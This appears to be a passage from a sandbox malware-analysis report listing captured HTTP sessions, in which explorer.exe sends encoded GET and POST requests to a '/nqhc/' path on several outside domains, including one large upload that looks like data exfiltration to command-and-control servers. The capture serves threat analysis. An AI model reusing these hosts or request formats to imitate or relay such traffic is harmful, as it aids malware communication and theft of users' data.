charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.11.20	49944	66.29.151.40	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:04.841336966 CET	12837	OUT	GET /nqhc/?7nWHV=1Yl+QUBI4kgCsXI3Vp53kl3xa1s40hGy3/rGU37TkiIZHr5R+30vzUqate7I4LnPvrrd2ZP58ux1HT0e4Ni8o787tXF+UCoQAg==&t0D=yFNHS0IX HTTP/1.1 Host: www.gouldent.site Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:20:05.151922941 CET	12838	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:20:04 GMT Server: Apache Content-Length: 570 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 6e 6f 74 2d 66 6f 75 6e 64 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 73 22 3e 0a 20 20 20 20 20 20 3c 70 3e 34 30 34 3c 62 72 3e 0a 20 20 20 20 20 20 20 3c 73 6d 61 6c 6c 3e 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 73 6d 61 6c 6c 3e 0a 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 62 69 67 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 6d 65 64 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 69 72 63 6c 65 20 73 6d 61 6c 6c 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 0a 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 31 2e 33 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 20 73 72 63 3d 22 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Error</title> <link rel="stylesheet" href="/style.css"></head><body><body> <section id="not-found"> <div class="circles"> <p>404<br> <small>PAGE NOT FOUND</small> </p> <span class="circle big"></span> <span class="circle med"></span> <span class="circle small"></span> </div> </section> </body> <script src='//cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script><script src="/script.js"></script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.11.20	49945	64.190.63.111	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:10.215637922 CET	12839	OUT	POST /nqhc/ HTTP/1.1 Host: www.popular.directory Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.popular.directory User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.popular.directory/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 78 43 54 61 61 61 43 64 58 43 72 6c 75 71 33 34 55 33 73 63 6c 34 6c 48 78 6d 30 5a 72 44 54 4c 71 46 71 45 31 74 55 78 37 64 53 65 4f 63 74 6c 58 64 47 36 49 67 50 44 4b 64 76 4e 75 72 63 71 61 31 7a 32 6e 67 46 6f 46 4c 58 65 6c 50 64 47 33 5a 79 35 4b 76 28 75 6e 4d 30 67 6d 59 58 77 72 74 53 5a 6c 68 42 72 52 41 7a 66 66 4d 52 41 6e 43 7e 42 66 59 56 46 6a 35 35 4b 51 65 74 4b 32 67 67 74 78 45 67 32 28 52 75 6e 39 39 78 74 65 39 53 42 4f 35 61 69 6f 51 65 33 33 79 72 48 6a 75 41 45 76 76 32 75 78 76 4d 63 59 75 4b 38 70 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=xCTaaaCdXCrluq34U3scl4lHxm0ZrDTLqFqE1tUx7dSeOctlXdG6IgPDKdvNurcqa1z2ngFoFLXelPdG3Zy5Kv(unM0gmYXwrtSZlhBrRAzffMRAnC~BfYVFj55KQetK2ggtxEg2(Run99xte9SBO5aioQe33yrHjuAEvv2uxvMcYuK8pA).
Dec 5, 2022 15:20:10.226342916 CET	12840	IN	HTTP/1.1 403 Forbidden date: Mon, 05 Dec 2022 14:20:10 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close Data Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 17 fb af 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Vp/JLII&T";Ct@}4l"(/ 5(Y^f>5t0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.11.20	49946	64.190.63.111	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:20:12.254041910 CET	12841	OUT	POST /nqhc/ HTTP/1.1 Host: www.popular.directory Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.popular.directory User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.popular.directory/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 78 43 54 61 61 61 43 64 58 43 72 6c 6f 4b 6e 34 57 51 34 63 74 34 6c 45 30 6d 30 5a 79 54 54 48 71 46 32 45 31 6f 73 68 37 76 32 65 50 39 39 6c 51 73 47 36 4a 67 50 44 42 39 75 48 71 72 63 66 61 79 36 4c 6e 69 42 6f 46 4c 44 65 6c 35 4a 47 77 70 79 32 53 66 28 74 67 4d 30 62 78 49 58 2d 72 74 4f 7a 6c 6a 39 72 51 30 4c 66 63 4f 70 41 32 41 57 4f 56 59 55 76 6e 4a 35 4e 65 4f 74 49 32 67 6b 66 78 42 6c 4c 28 6e 65 6e 7e 63 52 74 66 39 53 4f 45 4a 61 66 68 77 66 72 37 51 4f 53 6d 50 51 63 7e 65 75 35 77 64 42 79 62 39 33 51 36 72 69 6a 5a 50 46 76 6f 73 79 66 4d 30 67 75 75 42 69 58 48 57 33 4a 7e 4b 33 37 70 75 5a 68 5a 43 35 65 33 6c 43 57 45 46 41 4d 49 32 34 4b 46 66 6d 63 6f 75 64 35 42 55 4d 66 6b 2d 52 72 6c 4f 43 68 6e 50 43 51 4a 51 35 33 74 75 42 52 67 7a 4a 77 69 51 33 54 4e 4f 42 73 46 47 58 50 57 36 4d 55 70 58 45 33 41 4a 43 35 4f 2d 54 64 6d 30 7a 4b 43 37 53 5a 6f 63 5a 31 67 75 68 42 38 53 44 6a 73 59 46 4f 51 62 35 77 75 70 36 51 32 69 36 34 45 48 4d 4b 77 59 57 4b 43 4a 32 71 54 78 56 79 70 39 4f 75 51 54 28 59 38 72 50 54 4a 62 47 61 56 30 48 52 50 4c 47 4f 79 37 47 5a 42 54 6e 4b 28 67 70 64 43 55 37 79 4c 49 76 71 6b 64 68 70 7a 75 56 43 64 74 53 62 59 53 32 39 35 42 39 63 6e 32 5a 65 76 57 64 32 55 30 58 75 5a 56 6b 2d 48 70 30 74 48 6b 77 4f 6a 5f 4a 77 62 39 69 69 6c 74 59 64 43 2d 62 30 62 78 59 58 76 4a 54 35 30 48 6c 75 64 50 31 43 32 6f 61 71 34 4e 6d 62 28 78 5a 66 34 52 71 6c 75 56 4c 68 65 75 36 74 6a 57 44 33 70 34 78 6b 66 6d 66 38 59 6e 77 4a 4c 31 71 76 6c 4e 69 34 31 73 55 51 46 78 6f 30 4b 78 41 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=xCTaaaCdXCrloKn4WQ4ct4lE0m0ZyTTHqF2E1osh7v2eP99lQsG6JgPDB9uHqrcfay6LniBoFLDel5JGwpy2Sf(tgM0bxIX-rtOzlj9rQ0LfcOpA2AWOVYUvnJ5NeOtI2gkfxBlL(nen~cRtf9SOEJafhwfr7QOSmPQc~eu5wdByb93Q6rijZPFvosyfM0guuBiXHW3J~K37puZhZC5e3lCWEFAMI24KFfmcoud5BUMfk-RrlOChnPCQJQ53tuBRgzJwiQ3TNOBsFGXPW6MUpXE3AJC5O-Tdm0zKC7SZocZ1guhB8SDjsYFOQb5wup6Q2i64EHMKwYWKCJ2qTxVyp9OuQT(Y8rPTJbGaV0HRPLGOy7GZBTnK(gpdCU7yLIvqkdhpzuVCdtSbYS295B9cn2ZevWd2U0XuZVk-Hp0tHkwOj_Jwb9iiltYdC-b0bxYXvJT50HludP1C2oaq4Nmb(xZf4RqluVLheu6tjWD3p4xkfmf8YnwJL1qvlNi41sUQFxo0KxA.
Dec 5, 2022 15:20:12.265235901 CET	12841	IN	HTTP/1.1 403 Forbidden date: Mon, 05 Dec 2022 14:20:12 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close Data Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 17 fb af 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Vp/JLII&T";Ct@}4l"(/ 5(Y^f>5t0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.11.20	49844	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:17.903486013 CET	11167	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 6e 34 57 6e 49 47 34 4a 6e 41 58 7a 31 77 35 44 51 34 6b 73 72 68 32 4d 43 38 48 4e 53 49 55 74 37 31 4f 31 74 52 4a 79 6c 72 45 42 5f 4d 41 62 35 41 6c 35 65 6f 57 42 4b 52 7a 46 30 32 6a 48 33 79 77 4a 78 65 59 6f 64 64 69 32 61 78 75 70 6c 72 53 4c 79 59 74 6a 79 35 74 62 68 54 44 38 65 37 59 78 38 4f 44 47 36 4e 32 5a 38 37 4e 68 37 43 5f 63 74 37 4b 64 2d 57 4e 56 31 72 6e 33 41 51 39 76 65 62 6a 57 34 4b 75 46 4d 52 30 33 58 30 32 6a 6a 47 62 45 6b 54 48 43 43 38 52 31 36 49 32 7e 71 7e 78 72 54 48 48 7a 79 58 78 6b 54 54 4e 74 73 76 73 6e 4b 56 77 70 57 46 70 51 44 74 56 63 43 6e 65 44 42 38 62 66 76 33 44 64 54 38 62 48 6b 78 36 71 65 4e 5f 59 4b 76 54 6b 58 6a 35 55 49 4d 4f 65 44 45 46 70 78 61 35 6f 58 73 79 7a 6f 6d 6e 70 49 71 39 4f 4f 31 41 34 37 75 69 71 57 54 78 6d 32 52 56 6c 42 54 5f 4a 6f 37 50 71 43 4a 30 49 56 6d 42 56 38 70 35 77 63 35 67 79 66 46 32 68 4e 50 65 67 61 43 57 79 67 59 70 32 48 55 53 6a 78 50 70 66 54 77 6d 74 59 4e 76 6e 38 55 7a 67 52 33 78 72 78 30 57 5a 32 68 77 79 4f 47 46 31 34 45 4b 77 53 42 4d 50 73 65 47 4b 50 31 30 42 72 45 78 59 68 48 66 67 63 54 4e 45 77 63 47 58 58 42 63 37 6e 7a 4c 68 62 57 79 46 48 51 44 33 65 37 6b 43 63 6c 4f 28 53 41 5a 6b 34 47 30 37 74 36 75 77 5f 50 4e 54 49 30 75 46 6d 37 4d 33 31 32 6d 58 30 28 42 58 6d 68 49 62 30 65 59 4f 55 54 46 4b 30 70 77 34 51 48 74 76 41 49 68 4a 44 30 6a 6f 74 68 33 32 50 73 48 54 39 79 66 54 65 54 71 78 6a 32 6b 69 30 4d 76 4b 7a 38 64 68 53 41 52 54 57 48 61 34 7a 78 47 70 48 55 58 7e 32 33 64 49 5a 46 58 59 6b 67 5a 48 42 49 77 4c 2d 39 58 56 30 6f 36 50 59 6c 31 64 53 58 6f 49 7a 56 62 5a 35 76 75 76 70 5a 61 52 64 4f 6e 43 67 59 42 49 49 51 37 38 54 4e 67 4a 6c 66 45 77 34 6e 44 71 42 49 33 43 41 65 6f 74 2d 71 51 65 42 66 37 72 42 42 6e 39 6a 56 33 43 57 61 71 32 49 78 6e 4e 6b 28 57 64 50 4b 33 47 5f 72 4a 58 44 47 47 4e 58 41 32 31 69 59 70 4b 68 61 4c 78 2d 5a 47 4d 44 38 6c 46 6f 76 6f 42 4a 28 61 37 56 6c 65 73 57 6b 6e 66 4f 71 33 79 68 63 4d 33 66 7a 5f 53 55 50 49 52 66 39 56 6e 59 65 55 79 52 4b 44 45 43 56 75 65 39 45 32 6c 39 4f 77 62 75 46 49 43 57 39 4e 4e 58 73 5f 48 6b 4c 2d 7a 33 49 32 64 32 6f 53 30 62 73 63 7a 2d 52 68 6d 6d 6a 66 72 51 68 41 52 49 41 47 51 64 46 6f 56 76 56 71 72 4c 67 49 47 4a 61 73 75 32 5a 4a 41 49 6c 56 28 6c 6c 49 53 70 6b 54 56 48 45 57 57 67 41 4e 69 37 66 68 54 6b 4c 74 41 58 76 32 30 72 65 66 59 50 4b 47 44 6c 4b 6b 31 4e 61 46 71 43 6a 70 6b 70 73 4b 66 74 6c 4f 6c 55 6f 5f 42 57 4c 5f 4b 4c 4d 65 6e 4f 7e 57 56 61 66 6f 4a 31 37 4f 39 75 72 38 30 73 49 5f 6d 7a 57 45 7a 7a 54 43 52 43 55 68 41 4e 30 33 71 4f 67 35 72 65 62 4b 43 35 74 78 77 69 36 4a 46 62 65 6a 4f 54 6d 4c 55 4c 4b 6c 48 53 50 74 7a 41 6a 42 65 70 66 45 36 4f 6f 76 28 54 33 57 67 42 48 47 35 74 43 4d 74 48 34 39 51 4b 6a 6c 66 34 61 56 52 38 4c 51 66 4f 45 6b 37 56 76 74 6f 45 63 67 51 7a 6a 46 70 55 4a 55 4c 35 42 76 36 67 75 69 45 4b 4c 74 55 48 42 71 56 6b 63 44 33 30 5a 75 35 56 38 6f 6a 69 79 69 7a 71 43 56 39 5f 7a 61 42 57 52 68 4c 54 58 53 6c 70 77 42 37 34 50 2d 70 43 55 55 31 4d 44 79 52 36 46 4f 79 65 4c 54 46 68 7a 55 70 62 4c 5a 62 51 69 2d 61 41 41 66 57 68 42 4d 43 47 56 65 72 7a 32 59 6a 33 52 47 28 33 51 4d 62 35 6b 30 55 73 58 52 56 6f 50 38 72 74 51 65 53 45 46 53 32 37 7a 77 77 55 77 44 45 36 7a 36 70 75 41 4a 6e 66 49 79 56 47 72 31 61 35 35 44 36 4d 28 59 42 46 49 37 50 66 6b 59 75 57 49 5a 36 4f 4a 73 69 31 66 62 33 72 4b 55 62 57 42 57 7e 58 6b 6a 77 69 6f 32 44 67 72 73 70 5f 72 32 69 54 7e 56 52 6e 41 37 6c 74 67 70 63 68 52 35 32 33 7a 38 56 66 35 53 66 43 41 47 4f 70 35 51 39 45 46 34 6d 67 32 4e 6d 41 30 31 6e 42 77 77 55 46 78 44 48 4b 35 66 55 63 51 48 41 62 33 2d 49 4e 78 62 4e 43 53 49 70 59 5a 46 6d 5f 57 36 35 55 4f 6e 53 54 55 6c 73 79 72 70 78 79 68 51 4c 4a 64 77 55 6f 41 35 6c 37 44 5f 59 57 6f 76 31 30 4e 77 5a 7a 65 4c 44 69 7a 4c 33 49 36 4c 53 6f 33 79 79 37 42 79 45 71 41 34 4b 53 4d 6a 4f 66 51 33 32 50 32 67 41 56 39 69 55 66 61 76 30 50 78 4b 63 6b 62 5a 76 51 50 53 58 52 38 44 4a 6e 30 5a 31 Data Ascii: 7nWHV=BmG0s2zn5Xfmhn4WnIG4JnAXz1w5DQ4ksrh2MC8HNSIUt71O1tRJylrEB_MAb5Al5eoWBKRzF02jH3ywJxeYoddi2axuplrSLyYtjy5tbhTD8e7Yx8ODG6N2Z87Nh7C_ct7Kd-WNV1rn3AQ9vebjW4KuFMR03X02jjGbEkTHCC8R16I2~q~xrTHHzyXxkTTNtsvsnKVwpWFpQDtVcCneDB8bfv3DdT8bHkx6qeN_YKvTkXj5UIMOeDEFpxa5oXsyzomnpIq9OO1A47uiqWTxm2RVlBT_Jo7PqCJ0IVmBV8p5wc5gyfF2hNPegaCWygYp2HUSjxPpfTwmtYNvn8UzgR3xrx0WZ2hwyOGF14EKwSBMPseGKP10BrExYhHfgcTNEwcGXXBc7nzLhbWyFHQD3e7kCclO(SAZk4G07t6uw_PNTI0uFm7M312mX0(BXmhIb0eYOUTFK0pw4QHtvAIhJD0joth32PsHT9yfTeTqxj2ki0MvKz8dhSARTWHa4zxGpHUX~23dIZFXYkgZHBIwL-9XV0o6PYl1dSXoIzVbZ5vuvpZaRdOnCgYBIIQ78TNgJlfEw4nDqBI3CAeot-qQeBf7rBBn9jV3CWaq2IxnNk(WdPK3G_rJXDGGNXA21iYpKhaLx-ZGMD8lFovoBJ(a7VlesWknfOq3yhcM3fz_SUPIRf9VnYeUyRKDECVue9E2l9OwbuFICW9NNXs_HkL-z3I2d2oS0bscz-RhmmjfrQhARIAGQdFoVvVqrLgIGJasu2ZJAIlV(llISpkTVHEWWgANi7fhTkLtAXv20refYPKGDlKk1NaFqCjpkpsKftlOlUo_BWL_KLMenO~WVafoJ17O9ur80sI_mzWEzzTCRCUhAN03qOg5rebKC5txwi6JFbejOTmLULKlHSPtzAjBepfE6Oov(T3WgBHG5tCMtH49QKjlf4aVR8LQfOEk7VvtoEcgQzjFpUJUL5Bv6guiEKLtUHBqVkcD30Zu5V8ojiyizqCV9_zaBWRhLTXSlpwB74P-pCUU1MDyR6FOyeLTFhzUpbLZbQi-aAAfWhBMCGVerz2Yj3RG(3QMb5k0UsXRVoP8rtQeSEFS27zwwUwDE6z6puAJnfIyVGr1a55D6M(YBFI7PfkYuWIZ6OJsi1fb3rKUbWBW~Xkjwio2Dgrsp_r2iT~VRnA7ltgpchR523z8Vf5SfCAGOp5Q9EF4mg2NmA01nBwwUFxDHK5fUcQHAb3-INxbNCSIpYZFm_W65UOnSTUlsyrpxyhQLJdwUoA5l7D_YWov10NwZzeLDizL3I6LSo3yy7ByEqA4KSMjOfQ32P2gAV9iUfav0PxKckbZvQPSXR8DJn0Z1_fX8mXhX5nCY559ZaIsJn7ce5(mbM5eJlVMSFQWqYIh1WSlmuUjit2bPaFoO_ncEoczRiGlNcVZ2DwFDm7IirRvgAPRaHRZuHrfd3hb8F5rYCYCckcKL8Ieezo22AHsUhYgWTy6x4(k47HFVnYI4CLE~y5tDY3PyNGGpvZzqZ32J9QzVPCIuOh4F2f3H3SQ62hIxQymbPyeWv0-qY4WNU5Ek64XUot7Ekxebjxfynp2JviHp2ZJk1c8soRufoD5QRxQB6Ec23UfdaH8L9gjAYr7TXdp35WcSFIOHnT35Y7bJ4mrO6AeK23Wm6xXIfTPeLPA76ZqNKc25eu4TnbS(u9uALKTEe2X4hco~oBrpvSqC6qdvsyDVbGNHe473EnDFXut4N7dL8pg8yXUcqdyoRSJDJ7CrdU5gqNk7vGd1awRaEFzxshbNDlYhzXaeDFq1Y7kg648eqvM58L1r1iK5x0fe3mZGrXUUqrqG1G7fxJjUQcVoTpaZMhb3pBB1yq1Dwzl(kg0sOeshIs1Pm0jHgGHPb7Ot579xxiT14FdOSmKq-(2bPoLfVHv4_~DLzo6hoUAB8xAAhGNzQxcGJxHKAcfoKPyL5pkUndp1ULZXc9FRAIXkLveHxws5f1sr-1A8DOLuFdAm2u1tfhuoXQNM6Bjcr2A4_pkkuXuwcA7wb5A8ohO6C~y6_0byEVXejiMs7BXP8T0U9~vA8wxXt1d6gpXiPnHwH0O1qg7ArlFNUzFyDCi1etthi(9VgUmJuIBSRSPjH(qTTV6BmtH9A3HE_yttbiY4tdzNt(HoQGLXxd1hZAh1h6frQdxjHEx~QhdfwPbl-6z9626OtyuY5q7Un5QgUjdcHb8LshBv3bl9fFO3QaqN8PN8o4okotA5sKw74BA0P(Pcw5zwwk2pZs2m1(GC-b_eB2McpWahOZo76eOxr06aNgLkvBIrZRpKV7ACFUSS73-pjOWZuvuHFa7paHGb-NMzNg9gWkNVMi9T9fdPD0qQQ7fnknc46lSNyqshBXWLZqIwNzbF3Vw0F(wJBR-Ef5C45LcoXPZ4XmtqjeG(OCQqfWzY1arjpxDbIRvwCZvz6agq1t09cD49BPPlBIhPTukeypxZIJx(NY55u60M2cDpzpPE6oQv1540b2Bgz32t1w9FMD792qsYtIIum(FkYh2cFcxtsV9cC3puWyuBmD1MIlnihTCS_3z6y1y8xBYiTnsek4kzgEjtHiwbRY6yrKWU2lwSKM3Lkk0BdG4sVdh4VQMxAOmHxF5Rd8RZtqIuQCH1YdMus~wIrRR(BbJWk0G4U1rMASIxuKj9MJt9AWTJ9vtOgiWhuS-0chk7k44I-kG7IPTd9Hze3g9eAglZl5oiaV_MC7giGwETETEEa0hgzpxclahmFZRrOo6F-L7Icowb9JuLw7w2wHL2OxTri~siHeRar5Sne6366BNFGV-gtzv2Gai3Lb4tWtj~J(Fhq24ysgjEMfByDNGe5Ph(rQzcmNv8gRAQbpFqpsrv6i0mgXLKESjcXxNvkxdl9lFQhJ5AvRPnQ0aqDYBHDR9ccJP7FxpdIRJq_ZpXDjI8tjwfQEHxrw9iD5FJkSztHwDFbvKllvHRpO4ACW7iEyvCvO3dl5ZMZuEJF9xSoq_vKr26ILKA88Ytzz0vxayJUjELhOvGqaY5ODKbM6R7-I1ZeqO3h6MVYvYYTF1IRw3(aZq6HVM6DGRmI1EPNVwwoIvUJzB1maX~a~CIbi3gF0hZEtgzPVSyQGRtRpH0fDCtCnqGYdkjFGUgRtohoEZMo67AWwqeaiBJUrd32ylos8ckQMSQ7AnZ5onkMdoFBrjjfSNEqzPJ6hfENSriqhfq_DQAvMsR03M6aoLIIHrOWoc(5SL8pzlymv-VSrxJ0TmwkkANy2xd1eYONnlpkfzMKVAV9hNmPwJzfjmlqM0Bm9fzAGoo7SxYCBAslBKVB73D5SkVdnTshbG8KLAU3I9iCIpHcZ2OCjHC4Dgb1EHCwbnKH~X3rkyx7kyoWDA9zsuie0yRnMY6y9MeoGaaF5c59~OWPUynsFama91RRRNK68ShFjRMvHvAu~h93WQyZpVLyNT7W~Z3hpQ8M5gGFK7NRIeuvuXhKz3ccBlFhHN(UPN5_EYzpGs3I59svdoQgDdDxZDe0JJgWq0~LgJ2_6NjWOeG1NXpE(Cp1AtHhcNTFX4KaGgZ8d5h_4letagomdcBUA9G-POqdVUQqDlytB1r-PmlbRzdRsUiri3Sq2Qyy9U1_tUnx1GMZR5yo38FFG3sLiEoBWpvrE9Q26kR6UumEsubx1f99ZzfPncifLRjLyArfy7(hOwPRwgDxMPuZ4OBuS257W67RnHGoBD2m8s930VWhM4mOpDD87f~HaJE7dlHLiWvFC3r1W_OVhpH3sRQipRd5xkXoJxHbZ2iRKINZilbddNIx0UARXLQFIReYDVmrB2KSq9IIJHdU4NvLhRC_9xd-q_lUFJPQIPC5eII9JTHBf30cv2EwQ0fE3xbWVojiYmXM0rKbR7etbLN4CLq_431txCSUjSTLdvXBIG0kX6khU-k1g1x8iWpQjx(DV_CSYMerKs(lXhxH~bN1xNwQg_kbaRUTr6TAEMIjEY4BMJyOJM(lrgD9XxpnhSp-c3J_NEn1CZVCZzURZCCh23U3WgL6d8NwKOFsQONbDzd8iH95DFUhyeuVO-uyfpXiN3VasmTz8TXO52
Dec 5, 2022 15:15:18.185480118 CET	11170	OUT	Data Raw: 65 4a 58 37 39 54 62 31 62 72 38 45 75 5a 56 71 4c 6a 31 63 68 33 7e 34 59 7a 4e 5a 69 51 63 49 50 39 63 78 49 31 65 7a 63 43 77 57 64 4d 31 79 75 53 74 54 47 30 78 59 32 55 44 41 79 6b 79 6c 34 43 7a 44 73 6b 79 6f 66 76 67 53 5a 54 72 6d 4e 6b Data Ascii: eJX79Tb1br8EuZVqLj1ch3~4YzNZiQcIP9cxI1ezcCwWdM1yuStTG0xY2UDAykyl4CzDskyofvgSZTrmNk6AVmtpz_huGvMC7Kpr~zqmyH0ZJaBJX6bHExgBRquDxKdda_xfl_LEZRgR83QDXjzbEhnXjB4rAqmDTKdrL0oUQW4k81tfNqIh4DgBLW9ZX8Ei4PAokm0Iq-3exfcubUtJbsX66C8MjMFSa0NCViQflvvqTmK9zJy
Dec 5, 2022 15:15:18.185561895 CET	11179	OUT	Data Raw: 6e 61 48 76 57 68 54 39 61 39 49 6c 64 36 61 51 6c 6e 6b 5f 54 76 68 35 59 79 58 51 49 61 75 4a 79 4f 74 74 7a 30 6a 2d 58 63 7e 58 65 36 65 69 30 54 49 39 31 6c 38 64 37 7a 6b 75 53 62 39 6d 57 55 6d 63 34 62 39 36 49 52 51 65 4a 5f 49 76 4f 50 Data Ascii: naHvWhT9a9Ild6aQlnk_Tvh5YyXQIauJyOttz0j-Xc~Xe6ei0TI91l8d7zkuSb9mWUmc4b96IRQeJ_IvOP5bqZ(5n5rmRX~-yB3XXaBlnPjUndrhlp~RIOMCPLsgxfjK9SupgMqWNVhILcLG78CisZRb28qC99U9dSH_b5GLCyMqaHNfuOt0fR~kw9FzR1tAKosQXhNVU26x3zcqcrMTrjwckjehHwNdYIobTW1ViK~oOWwLStF
Dec 5, 2022 15:15:18.185632944 CET	11186	OUT	Data Raw: 4a 67 46 72 39 61 4a 62 59 5a 46 57 5a 76 7e 67 36 70 37 67 47 4d 7a 39 70 37 6f 32 38 66 69 78 68 5f 63 4d 6f 53 48 74 59 4b 37 41 6e 6c 79 6f 41 70 49 6e 61 65 50 73 56 31 65 74 57 6f 36 6d 71 30 78 5f 70 50 39 32 6f 69 51 57 52 43 47 69 51 77 Data Ascii: JgFr9aJbYZFWZv~g6p7gGMz9p7o28fixh_cMoSHtYK7AnlyoApInaePsV1etWo6mq0x_pP92oiQWRCGiQwshQvRbe2eYDaNz1rqUw5Y5P7ym~l8H2bh6eC5aeT~UJi~tEpwhxIjd7EG9qPWIh_Z4Ex7Kt2o8srGA5oYLj-fQmPWf6NMO3n5x4xHPoJKfI5YHmHQlW2t7z_LK6V~QKG94JH255Qx_HlWzbTXRL5J1GsLT38~K86u
